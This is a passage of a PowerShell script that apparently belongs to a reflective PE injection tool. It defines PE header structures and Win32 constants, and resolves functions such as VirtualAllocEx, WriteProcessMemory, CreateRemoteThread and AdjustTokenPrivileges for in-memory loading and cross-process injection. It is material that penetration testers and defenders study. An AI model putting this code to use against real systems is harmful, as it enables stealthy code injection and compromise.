($TypeBuilder.DefineField('TLSTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(168) | Out-Null
($TypeBuilder.DefineField('LoadConfigTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(176) | Out-Null
($TypeBuilder.DefineField('BoundImport', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(184) | Out-Null
($TypeBuilder.DefineField('IAT', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(192) | Out-Null
($TypeBuilder.DefineField('DelayImportDescriptor', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(200) | Out-Null
($TypeBuilder.DefineField('CLRRuntimeHeader', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(208) | Out-Null
($TypeBuilder.DefineField('Reserved', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(216) | Out-Null
$IMAGE_OPTIONAL_HEADER32 = $TypeBuilder.CreateType()
$Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_OPTIONAL_HEADER32 -Value $IMAGE_OPTIONAL_HEADER32
#Struct IMAGE_NT_HEADERS64
$Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
$TypeBuilder = $ModuleBuilder.DefineType('IMAGE_NT_HEADERS64', $Attributes, [System.ValueType], 264)
$TypeBuilder.DefineField('Signature', [UInt32], 'Public') | Out-Null
$TypeBuilder.DefineField('FileHeader', $IMAGE_FILE_HEADER, 'Public') | Out-Null
$TypeBuilder.DefineField('OptionalHeader', $IMAGE_OPTIONAL_HEADER64, 'Public') | Out-Null
$IMAGE_NT_HEADERS64 = $TypeBuilder.CreateType()
$Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_NT_HEADERS64 -Value $IMAGE_NT_HEADERS64
#Struct IMAGE_NT_HEADERS32
$Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
$TypeBuilder = $ModuleBuilder.DefineType('IMAGE_NT_HEADERS32', $Attributes, [System.ValueType], 248)
$TypeBuilder.DefineField('Signature', [UInt32], 'Public') | Out-Null
$TypeBuilder.DefineField('FileHeader', $IMAGE_FILE_HEADER, 'Public') | Out-Null
$TypeBuilder.DefineField('OptionalHeader', $IMAGE_OPTIONAL_HEADER32, 'Public') | Out-Null
$IMAGE_NT_HEADERS32 = $TypeBuilder.CreateType()
$Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_NT_HEADERS32 -Value $IMAGE_NT_HEADERS32
#Struct IMAGE_DOS_HEADER
$Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
$TypeBuilder = $ModuleBuilder.DefineType('IMAGE_DOS_HEADER', $Attributes, [System.ValueType], 64)
$TypeBuilder.DefineField('e_magic', [UInt16], 'Public') | Out-Null
$TypeBuilder.DefineField('e_cblp', [UInt16], 'Public') | Out-Null
$TypeBuilder.DefineField('e_cp', [UInt16], 'Public') | Out-Null
$TypeBuilder.DefineField('e_crlc', [UInt16], 'Public') | Out-Null
$TypeBuilder.DefineField('e_cparhdr', [UInt16], 'Public') | Out-Null
$TypeBuilder.DefineField('e_minalloc', [UInt16], 'Public') | Out-Null
$TypeBuilder.DefineField('e_maxalloc', [UInt16], 'Public') | Out-Null
$TypeBuilder.DefineField('e_ss', [UInt16], 'Public') | Out-Null
$TypeBuilder.DefineField('e_sp', [UInt16], 'Public') | Out-Null
$TypeBuilder.DefineField('e_csum', [UInt16], 'Public') | Out-Null
$TypeBuilder.DefineField('e_ip', [UInt16], 'Public') | Out-Null
$TypeBuilder.DefineField('e_cs', [UInt16], 'Public') | Out-Null
$TypeBuilder.DefineField('e_lfarlc', [UInt16], 'Public') | Out-Null
$TypeBuilder.DefineField('e_ovno', [UInt16], 'Public') | Out-Null
$e_resField = $TypeBuilder.DefineField('e_res', [UInt16[]], 'Public, HasFieldMarshal')
$ConstructorValue = [System.Runtime.InteropServices.UnmanagedType]::ByValArray
$FieldArray = @([System.Runtime.InteropServices.MarshalAsAttribute].GetField('SizeConst'))
$AttribBuilder = New-Object System.Reflection.Emit.CustomAttributeBuilder($ConstructorInfo, $ConstructorValue, $FieldArray, @([Int32] 4))
$e_resField.SetCustomAttribute($AttribBuilder)
$TypeBuilder.DefineField('e_oemid', [UInt16], 'Public') | Out-Null
$TypeBuilder.DefineField('e_oeminfo', [UInt16], 'Public') | Out-Null
$e_res2Field = $TypeBuilder.DefineField('e_res2', [UInt16[]], 'Public, HasFieldMarshal')
$ConstructorValue = [System.Runtime.InteropServices.UnmanagedType]::ByValArray
$AttribBuilder = New-Object System.Reflection.Emit.CustomAttributeBuilder($ConstructorInfo, $ConstructorValue, $FieldArray, @([Int32] 10))
$e_res2Field.SetCustomAttribute($AttribBuilder)
$TypeBuilder.DefineField('e_lfanew', [Int32], 'Public') | Out-Null
$IMAGE_DOS_HEADER = $TypeBuilder.CreateType()
$Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_DOS_HEADER -Value $IMAGE_DOS_HEADER
#Struct IMAGE_SECTION_HEADER
$Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
$TypeBuilder = $ModuleBuilder.DefineType('IMAGE_SECTION_HEADER', $Attributes, [System.ValueType], 40)
$nameField = $TypeBuilder.DefineField('Name', [Char[]], 'Public, HasFieldMarshal')
$ConstructorValue = [System.Runtime.InteropServices.UnmanagedType]::ByValArray
$AttribBuilder = New-Object System.Reflection.Emit.CustomAttributeBuilder($ConstructorInfo, $ConstructorValue, $FieldArray, @([Int32] 8))
$nameField.SetCustomAttribute($AttribBuilder)
$TypeBuilder.DefineField('VirtualSize', [UInt32], 'Public') | Out-Null
$TypeBuilder.DefineField('VirtualAddress', [UInt32], 'Public') | Out-Null
$TypeBuilder.DefineField('SizeOfRawData', [UInt32], 'Public') | Out-Null
$TypeBuilder.DefineField('PointerToRawData', [UInt32], 'Public') | Out-Null
$TypeBuilder.DefineField('PointerToRelocations', [UInt32], 'Public') | Out-Null
$TypeBuilder.DefineField('PointerToLinenumbers', [UInt32], 'Public') | Out-Null
$TypeBuilder.DefineField('NumberOfRelocations', [UInt16], 'Public') | Out-Null
$TypeBuilder.DefineField('NumberOfLinenumbers', [UInt16], 'Public') | Out-Null
$TypeBuilder.DefineField('Characteristics', [UInt32], 'Public') | Out-Null
$IMAGE_SECTION_HEADER = $TypeBuilder.CreateType()
$Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_SECTION_HEADER -Value $IMAGE_SECTION_HEADER
#Struct IMAGE_BASE_RELOCATION
$Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
$TypeBuilder = $ModuleBuilder.DefineType('IMAGE_BASE_RELOCATION', $Attributes, [System.ValueType], 8)
$TypeBuilder.DefineField('VirtualAddress', [UInt32], 'Public') | Out-Null
$TypeBuilder.DefineField('SizeOfBlock', [UInt32], 'Public') | Out-Null
$IMAGE_BASE_RELOCATION = $TypeBuilder.CreateType()
$Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_BASE_RELOCATION -Value $IMAGE_BASE_RELOCATION
#Struct IMAGE_IMPORT_DESCRIPTOR
$Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
$TypeBuilder = $ModuleBuilder.DefineType('IMAGE_IMPORT_DESCRIPTOR', $Attributes, [System.ValueType], 20)
$TypeBuilder.DefineField('Characteristics', [UInt32], 'Public') | Out-Null
$TypeBuilder.DefineField('TimeDateStamp', [UInt32], 'Public') | Out-Null
$TypeBuilder.DefineField('ForwarderChain', [UInt32], 'Public') | Out-Null
$TypeBuilder.DefineField('Name', [UInt32], 'Public') | Out-Null
$TypeBuilder.DefineField('FirstThunk', [UInt32], 'Public') | Out-Null
$IMAGE_IMPORT_DESCRIPTOR = $TypeBuilder.CreateType()
$Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_IMPORT_DESCRIPTOR -Value $IMAGE_IMPORT_DESCRIPTOR
#Struct IMAGE_EXPORT_DIRECTORY
$Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
$TypeBuilder = $ModuleBuilder.DefineType('IMAGE_EXPORT_DIRECTORY', $Attributes, [System.ValueType], 40)
$TypeBuilder.DefineField('Characteristics', [UInt32], 'Public') | Out-Null
$TypeBuilder.DefineField('TimeDateStamp', [UInt32], 'Public') | Out-Null
$TypeBuilder.DefineField('MajorVersion', [UInt16], 'Public') | Out-Null
$TypeBuilder.DefineField('MinorVersion', [UInt16], 'Public') | Out-Null
$TypeBuilder.DefineField('Name', [UInt32], 'Public') | Out-Null
$TypeBuilder.DefineField('Base', [UInt32], 'Public') | Out-Null
$TypeBuilder.DefineField('NumberOfFunctions', [UInt32], 'Public') | Out-Null
$TypeBuilder.DefineField('NumberOfNames', [UInt32], 'Public') | Out-Null
$TypeBuilder.DefineField('AddressOfFunctions', [UInt32], 'Public') | Out-Null
$TypeBuilder.DefineField('AddressOfNames', [UInt32], 'Public') | Out-Null
$TypeBuilder.DefineField('AddressOfNameOrdinals', [UInt32], 'Public') | Out-Null
$IMAGE_EXPORT_DIRECTORY = $TypeBuilder.CreateType()
$Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_EXPORT_DIRECTORY -Value $IMAGE_EXPORT_DIRECTORY
#Struct LUID
$Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
$TypeBuilder = $ModuleBuilder.DefineType('LUID', $Attributes, [System.ValueType], 8)
$TypeBuilder.DefineField('LowPart', [UInt32], 'Public') | Out-Null
$TypeBuilder.DefineField('HighPart', [UInt32], 'Public') | Out-Null
$LUID = $TypeBuilder.CreateType()
$Win32Types | Add-Member -MemberType NoteProperty -Name LUID -Value $LUID
#Struct LUID_AND_ATTRIBUTES
$Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
$TypeBuilder = $ModuleBuilder.DefineType('LUID_AND_ATTRIBUTES', $Attributes, [System.ValueType], 12)
$TypeBuilder.DefineField('Luid', $LUID, 'Public') | Out-Null
$TypeBuilder.DefineField('Attributes', [UInt32], 'Public') | Out-Null
$LUID_AND_ATTRIBUTES = $TypeBuilder.CreateType()
$Win32Types | Add-Member -MemberType NoteProperty -Name LUID_AND_ATTRIBUTES -Value $LUID_AND_ATTRIBUTES
#Struct TOKEN_PRIVILEGES
$Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
$TypeBuilder = $ModuleBuilder.DefineType('TOKEN_PRIVILEGES', $Attributes, [System.ValueType], 16)
$TypeBuilder.DefineField('PrivilegeCount', [UInt32], 'Public') | Out-Null
$TypeBuilder.DefineField('Privileges', $LUID_AND_ATTRIBUTES, 'Public') | Out-Null
$TOKEN_PRIVILEGES = $TypeBuilder.CreateType()
$Win32Types | Add-Member -MemberType NoteProperty -Name TOKEN_PRIVILEGES -Value $TOKEN_PRIVILEGES
return $Win32Types
}
Function Get-Win32Constants
{
$Win32Constants = New-Object System.Object
$Win32Constants | Add-Member -MemberType NoteProperty -Name MEM_COMMIT -Value 0x00001000
$Win32Constants | Add-Member -MemberType NoteProperty -Name MEM_RESERVE -Value 0x00002000
$Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_NOACCESS -Value 0x01
$Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_READONLY -Value 0x02
$Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_READWRITE -Value 0x04
$Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_WRITECOPY -Value 0x08
$Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_EXECUTE -Value 0x10
$Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_EXECUTE_READ -Value 0x20
$Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_EXECUTE_READWRITE -Value 0x40
$Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_EXECUTE_WRITECOPY -Value 0x80
$Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_NOCACHE -Value 0x200
$Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_REL_BASED_ABSOLUTE -Value 0
$Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_REL_BASED_HIGHLOW -Value 3
$Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_REL_BASED_DIR64 -Value 10
$Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_SCN_MEM_DISCARDABLE -Value 0x02000000
$Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_SCN_MEM_EXECUTE -Value 0x20000000
$Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_SCN_MEM_READ -Value 0x40000000
$Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_SCN_MEM_WRITE -Value 0x80000000
$Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_SCN_MEM_NOT_CACHED -Value 0x04000000
$Win32Constants | Add-Member -MemberType NoteProperty -Name MEM_DECOMMIT -Value 0x4000
$Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_FILE_EXECUTABLE_IMAGE -Value 0x0002
$Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_FILE_DLL -Value 0x2000
$Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE -Value 0x40
$Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_DLLCHARACTERISTICS_NX_COMPAT -Value 0x100
$Win32Constants | Add-Member -MemberType NoteProperty -Name MEM_RELEASE -Value 0x8000
$Win32Constants | Add-Member -MemberType NoteProperty -Name TOKEN_QUERY -Value 0x0008
$Win32Constants | Add-Member -MemberType NoteProperty -Name TOKEN_ADJUST_PRIVILEGES -Value 0x0020
$Win32Constants | Add-Member -MemberType NoteProperty -Name SE_PRIVILEGE_ENABLED -Value 0x2
$Win32Constants | Add-Member -MemberType NoteProperty -Name ERROR_NO_TOKEN -Value 0x3f0
return $Win32Constants
}
Function Get-Win32Functions
{
$Win32Functions = New-Object System.Object
$VirtualAllocAddr = Get-ProcAddress kernel32.dll VirtualAlloc
$VirtualAllocDelegate = Get-DelegateType @([IntPtr], [UIntPtr], [UInt32], [UInt32]) ([IntPtr])
$VirtualAlloc = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualAllocAddr, $VirtualAllocDelegate)
$Win32Functions | Add-Member NoteProperty -Name VirtualAlloc -Value $VirtualAlloc
$VirtualAllocExAddr = Get-ProcAddress kernel32.dll VirtualAllocEx
$VirtualAllocExDelegate = Get-DelegateType @([IntPtr], [IntPtr], [UIntPtr], [UInt32], [UInt32]) ([IntPtr])
$VirtualAllocEx = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualAllocExAddr, $VirtualAllocExDelegate)
$Win32Functions | Add-Member NoteProperty -Name VirtualAllocEx -Value $VirtualAllocEx
$memcpyAddr = Get-ProcAddress msvcrt.dll memcpy
$memcpyDelegate = Get-DelegateType @([IntPtr], [IntPtr], [UIntPtr]) ([IntPtr])
$memcpy = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($memcpyAddr, $memcpyDelegate)
$Win32Functions | Add-Member -MemberType NoteProperty -Name memcpy -Value $memcpy
$memsetAddr = Get-ProcAddress msvcrt.dll memset
$memsetDelegate = Get-DelegateType @([IntPtr], [Int32], [IntPtr]) ([IntPtr])
$memset = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($memsetAddr, $memsetDelegate)
$Win32Functions | Add-Member -MemberType NoteProperty -Name memset -Value $memset
$LoadLibraryAddr = Get-ProcAddress kernel32.dll LoadLibraryA
$LoadLibraryDelegate = Get-DelegateType @([String]) ([IntPtr])
$LoadLibrary = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($LoadLibraryAddr, $LoadLibraryDelegate)
$Win32Functions | Add-Member -MemberType NoteProperty -Name LoadLibrary -Value $LoadLibrary
$GetProcAddressAddr = Get-ProcAddress kernel32.dll GetProcAddress
$GetProcAddressDelegate = Get-DelegateType @([IntPtr], [String]) ([IntPtr])
$GetProcAddress = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetProcAddressAddr, $GetProcAddressDelegate)
$Win32Functions | Add-Member -MemberType NoteProperty -Name GetProcAddress -Value $GetProcAddress
$GetProcAddressIntPtrAddr = Get-ProcAddress kernel32.dll GetProcAddress #This is still GetProcAddress, but instead of PowerShell converting the string to a pointer, you must do it yourself
$GetProcAddressIntPtrDelegate = Get-DelegateType @([IntPtr], [IntPtr]) ([IntPtr])
$GetProcAddressIntPtr = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetProcAddressIntPtrAddr, $GetProcAddressIntPtrDelegate)
$Win32Functions | Add-Member -MemberType NoteProperty -Name GetProcAddressIntPtr -Value $GetProcAddressIntPtr
$VirtualFreeAddr = Get-ProcAddress kernel32.dll VirtualFree
$VirtualFreeDelegate = Get-DelegateType @([IntPtr], [UIntPtr], [UInt32]) ([Bool])
$VirtualFree = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualFreeAddr, $VirtualFreeDelegate)
$Win32Functions | Add-Member NoteProperty -Name VirtualFree -Value $VirtualFree
$VirtualFreeExAddr = Get-ProcAddress kernel32.dll VirtualFreeEx
$VirtualFreeExDelegate = Get-DelegateType @([IntPtr], [IntPtr], [UIntPtr], [UInt32]) ([Bool])
$VirtualFreeEx = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualFreeExAddr, $VirtualFreeExDelegate)
$Win32Functions | Add-Member NoteProperty -Name VirtualFreeEx -Value $VirtualFreeEx
$VirtualProtectAddr = Get-ProcAddress kernel32.dll VirtualProtect
$VirtualProtectDelegate = Get-DelegateType @([IntPtr], [UIntPtr], [UInt32], [UInt32].MakeByRefType()) ([Bool])
$VirtualProtect = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualProtectAddr, $VirtualProtectDelegate)
$Win32Functions | Add-Member NoteProperty -Name VirtualProtect -Value $VirtualProtect
$GetModuleHandleAddr = Get-ProcAddress kernel32.dll GetModuleHandleA
$GetModuleHandleDelegate = Get-DelegateType @([String]) ([IntPtr])
$GetModuleHandle = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetModuleHandleAddr, $GetModuleHandleDelegate)
$Win32Functions | Add-Member NoteProperty -Name GetModuleHandle -Value $GetModuleHandle
$FreeLibraryAddr = Get-ProcAddress kernel32.dll FreeLibrary
$FreeLibraryDelegate = Get-DelegateType @([IntPtr]) ([Bool])
$FreeLibrary = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($FreeLibraryAddr, $FreeLibraryDelegate)
$Win32Functions | Add-Member -MemberType NoteProperty -Name FreeLibrary -Value $FreeLibrary
$OpenProcessAddr = Get-ProcAddress kernel32.dll OpenProcess
$OpenProcessDelegate = Get-DelegateType @([UInt32], [Bool], [UInt32]) ([IntPtr])
$OpenProcess = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OpenProcessAddr, $OpenProcessDelegate)
$Win32Functions | Add-Member -MemberType NoteProperty -Name OpenProcess -Value $OpenProcess
$WaitForSingleObjectAddr = Get-ProcAddress kernel32.dll WaitForSingleObject
$WaitForSingleObjectDelegate = Get-DelegateType @([IntPtr], [UInt32]) ([UInt32])
$WaitForSingleObject = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WaitForSingleObjectAddr, $WaitForSingleObjectDelegate)
$Win32Functions | Add-Member -MemberType NoteProperty -Name WaitForSingleObject -Value $WaitForSingleObject
$WriteProcessMemoryAddr = Get-ProcAddress kernel32.dll WriteProcessMemory
$WriteProcessMemoryDelegate = Get-DelegateType @([IntPtr], [IntPtr], [IntPtr], [UIntPtr], [UIntPtr].MakeByRefType()) ([Bool])
$WriteProcessMemory = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WriteProcessMemoryAddr, $WriteProcessMemoryDelegate)
$Win32Functions | Add-Member -MemberType NoteProperty -Name WriteProcessMemory -Value $WriteProcessMemory
$ReadProcessMemoryAddr = Get-ProcAddress kernel32.dll ReadProcessMemory
$ReadProcessMemoryDelegate = Get-DelegateType @([IntPtr], [IntPtr], [IntPtr], [UIntPtr], [UIntPtr].MakeByRefType()) ([Bool])
$ReadProcessMemory = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($ReadProcessMemoryAddr, $ReadProcessMemoryDelegate)
$Win32Functions | Add-Member -MemberType NoteProperty -Name ReadProcessMemory -Value $ReadProcessMemory
$CreateRemoteThreadAddr = Get-ProcAddress kernel32.dll CreateRemoteThread
$CreateRemoteThreadDelegate = Get-DelegateType @([IntPtr], [IntPtr], [UIntPtr], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr])
$CreateRemoteThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CreateRemoteThreadAddr, $CreateRemoteThreadDelegate)
$Win32Functions | Add-Member -MemberType NoteProperty -Name CreateRemoteThread -Value $CreateRemoteThread
$GetExitCodeThreadAddr = Get-ProcAddress kernel32.dll GetExitCodeThread
$GetExitCodeThreadDelegate = Get-DelegateType @([IntPtr], [Int32].MakeByRefType()) ([Bool])
$GetExitCodeThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetExitCodeThreadAddr, $GetExitCodeThreadDelegate)
$Win32Functions | Add-Member -MemberType NoteProperty -Name GetExitCodeThread -Value $GetExitCodeThread
$OpenThreadTokenAddr = Get-ProcAddress Advapi32.dll OpenThreadToken
$OpenThreadTokenDelegate = Get-DelegateType @([IntPtr], [UInt32], [Bool], [IntPtr].MakeByRefType()) ([Bool])
$OpenThreadToken = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OpenThreadTokenAddr, $OpenThreadTokenDelegate)
$Win32Functions | Add-Member -MemberType NoteProperty -Name OpenThreadToken -Value $OpenThreadToken
$GetCurrentThreadAddr = Get-ProcAddress kernel32.dll GetCurrentThread
$GetCurrentThreadDelegate = Get-DelegateType @() ([IntPtr])
$GetCurrentThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetCurrentThreadAddr, $GetCurrentThreadDelegate)
$Win32Functions | Add-Member -MemberType NoteProperty -Name GetCurrentThread -Value $GetCurrentThread
$AdjustTokenPrivilegesAddr = Get-ProcAddress Advapi32.dll AdjustTokenPrivileges
$AdjustTokenPrivilegesDelegate = Get-DelegateType @([IntPtr], [Bool], [IntPtr], [UInt32], [IntPtr], [IntPtr]) ([Bool])
$AdjustTokenPrivileges = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($AdjustTokenPrivilegesAddr, $AdjustTokenPrivilegesDelegate)
$Win32Functions | Add-Member -MemberType NoteProperty -Name AdjustTokenPrivileges -Value $AdjustTokenPrivileges
$LookupPrivilegeValueAddr = Get-ProcAddress Advapi32.dll LookupPrivilegeValueA
$LookupPrivilegeValueDelegate = Get-DelegateType @([String], [String], [IntPtr]) ([Bool])
$LookupPrivilegeValue = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($LookupPrivilegeValueAddr, $LookupPrivilegeValueDelegate)
$Win32Functions | Add-Member -MemberType NoteProperty -Name LookupPrivilegeValue -Value $LookupPrivilegeValue
$ImpersonateSelfAddr = Get-ProcAddress Advapi32.dll ImpersonateSelf
$ImpersonateSelfDelegate = Get-DelegateType @([Int32]) ([Bool])
$ImpersonateSelf = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($ImpersonateSelfAddr, $ImpersonateSelfDelegate)
$Win32Functions | Add-Member -MemberType NoteProperty -Name ImpersonateSelf -Value $ImpersonateSelf
# NtCreateThreadEx is only ever called on Vista and Win7. NtCreateThreadEx is not exported by ntdll.dll in Windows XP
if (([Environment]::OSVersion.Version -ge (New-Object 'Version' 6,0)) -and ([Environment]::OSVersion.Version -lt (New-Object 'Version' 6,2))) {
$NtCreateThreadExAddr = Get-ProcAddress NtDll.dll NtCreateThreadEx
$NtCreateThreadExDelegate = Get-DelegateType @([IntPtr].MakeByRefType(), [UInt32], [IntPtr], [IntPtr], [IntPtr], [IntPtr], [Bool], [UInt32], [UInt32], [UInt32], [IntPtr]) ([UInt32])
$NtCreateThreadEx = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($NtCreateThreadExAddr, $NtCreateThreadExDelegate)
$Win32Functions | Add-Member -MemberType NoteProperty -Name NtCreateThreadEx -Value $NtCreateThreadEx
}
$IsWow64ProcessAddr = Get-ProcAddress Kernel32.dll IsWow64Process
$IsWow64ProcessDelegate = Get-DelegateType @([IntPtr], [Bool].MakeByRefType()) ([Bool])
$IsWow64Process = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($IsWow64ProcessAddr, $IsWow64ProcessDelegate)
$Win32Functions | Add-Member -MemberType NoteProperty -Name IsWow64Process -Value $IsWow64Process
$CreateThreadAddr = Get-ProcAddress Kernel32.dll CreateThread
$CreateThreadDelegate = Get-DelegateType @([IntPtr], [IntPtr], [IntPtr], [IntPtr], [UInt32], [UInt32].MakeByRefType()) ([IntPtr])
$CreateThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CreateThreadAddr, $CreateThreadDelegate)
$Win32Functions | Add-Member -MemberType NoteProperty -Name CreateThread -Value $CreateThread
return $Win32Functions
}
#####################################
#####################################
########### HELPERS ############
#####################################
#Powershell only does signed arithmetic, so if we want to calculate memory addresses we have to use this function
#This will add signed integers as if they were unsigned integers so we can accurately calculate memory addresses
Function Sub-SignedIntAsUnsigned
{
Param(
[Parameter(Position = 0, Mandatory = $true)]
[Int64]
$Value1,
[Parameter(Position = 1, Mandatory = $true)]
[Int64]
$Value2
)
[Byte[]]$Value1Bytes = [BitConverter]::GetBytes($Value1)
[Byte[]]$Value2Bytes = [BitConverter]::GetBytes($Value2)
[Byte[]]$FinalBytes = [BitConverter]::GetBytes([UInt64]0)
if ($Value1Bytes.Count -eq $Value2Bytes.Count)
{
$CarryOver = 0
for ($i = 0; $i -lt $Value1Bytes.Count; $i++)
{
$Val = $Value1Bytes[$i] - $CarryOver
#Sub bytes
if ($Val -lt $Value2Bytes[$i])
{
$Val += 256
$CarryOver = 1
}
else
{
$CarryOver = 0
}
[UInt16]$Sum = $Val - $Value2Bytes[$i]
$FinalBytes[$i] = $Sum -band 0x00FF
}
}
else
{
Throw "Cannot subtract bytearrays of different sizes"
}
return [BitConverter]::ToInt64($FinalBytes, 0)
}
Function Add-SignedIntAsUnsigned
{
Param(
[Parameter(Position = 0, Mandatory = $true)]
[Int64]
$Value1,
[Parameter(Position = 1, Mandatory = $true)]
[Int64]
$Value2
)
[Byte[]]$Value1Bytes = [BitConverter]::GetBytes($Value1)
[Byte[]]$Value2Bytes = [BitConverter]::GetBytes($Value2)
[Byte[]]$FinalBytes = [BitConverter]::GetBytes([UInt64]0)
if ($Value1Bytes.Count -eq $Value2Bytes.Count)
{
$CarryOver = 0
for ($i = 0; $i -lt $Value1Bytes.Count; $i++)
{
#Add bytes
[UInt16]$Sum = $Value1Bytes[$i] + $Value2Bytes[$i] + $CarryOver
$FinalBytes[$i] = $Sum -band 0x00FF
if (($Sum -band 0xFF00) -eq 0x100)
{
$CarryOver = 1
}
else
{
$CarryOver = 0
}
}
}
else
{
Throw "Cannot add bytearrays of different sizes"
}
return [BitConverter]::ToInt64($FinalBytes, 0)
}
Function Compare-Val1GreaterThanVal2AsUInt
{
Param(
[Parameter(Position = 0, Mandatory = $true)]
[Int64]
$Value1,
[Parameter(Position = 1, Mandatory = $true)]
[Int64]
$Value2
)
[Byte[]]$Value1Bytes = [BitConverter]::GetBytes($Value1)
[Byte[]]$Value2Bytes = [BitConverter]::GetBytes($Value2)
if ($Value1Bytes.Count -eq $Value2Bytes.Count)
{
for ($i = $Value1Bytes.Count-1; $i -ge 0; $i--)
{
if ($Value1Bytes[$i] -gt $Value2Bytes[$i])
{
return $true
}
elseif ($Value1Bytes[$i] -lt $Value2Bytes[$i])
{
return $false
}
}
}
else
{
Throw "Cannot compare byte arrays of different size"
}
return $false
}
Function Convert-UIntToInt
{
Param(
[Parameter(Position = 0, Mandatory = $true)]
[UInt64]
$Value
)
[Byte[]]$ValueBytes = [BitConverter]::GetBytes($Value)
return ([BitConverter]::ToInt64($ValueBytes, 0))
}
Function Get-Hex
{
Param(
[Parameter(Position = 0, Mandatory = $true)]
$Value #We will determine the type dynamically
)
$ValueSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Value.GetType()) * 2
$Hex = "0x{0:X$($ValueSize)}" -f [Int64]$Value #Passing a IntPtr to this doesn't work well. Cast to Int64 first.
return $Hex
}
Function Test-MemoryRangeValid
{
Param(
[Parameter(Position = 0, Mandatory = $true)]
[String]
$DebugString,
[Parameter(Position = 1, Mandatory = $true)]
[System.Object]
$PEInfo,
[Parameter(Position = 2, Mandatory = $true)]
[IntPtr]
$StartAddress,
[Parameter(ParameterSetName = "Size", Position = 3, Mandatory = $true)]
[IntPtr]
$Size
)
[IntPtr]$FinalEndAddress = [IntPtr](Add-SignedIntAsUnsigned ($StartAddress) ($Size))
$PEEndAddress = $PEInfo.EndAddress
if ((Compare-Val1GreaterThanVal2AsUInt ($PEInfo.PEHandle) ($StartAddress)) -eq $true)
{
Throw "Trying to write to memory smaller than allocated address range. $DebugString"
}
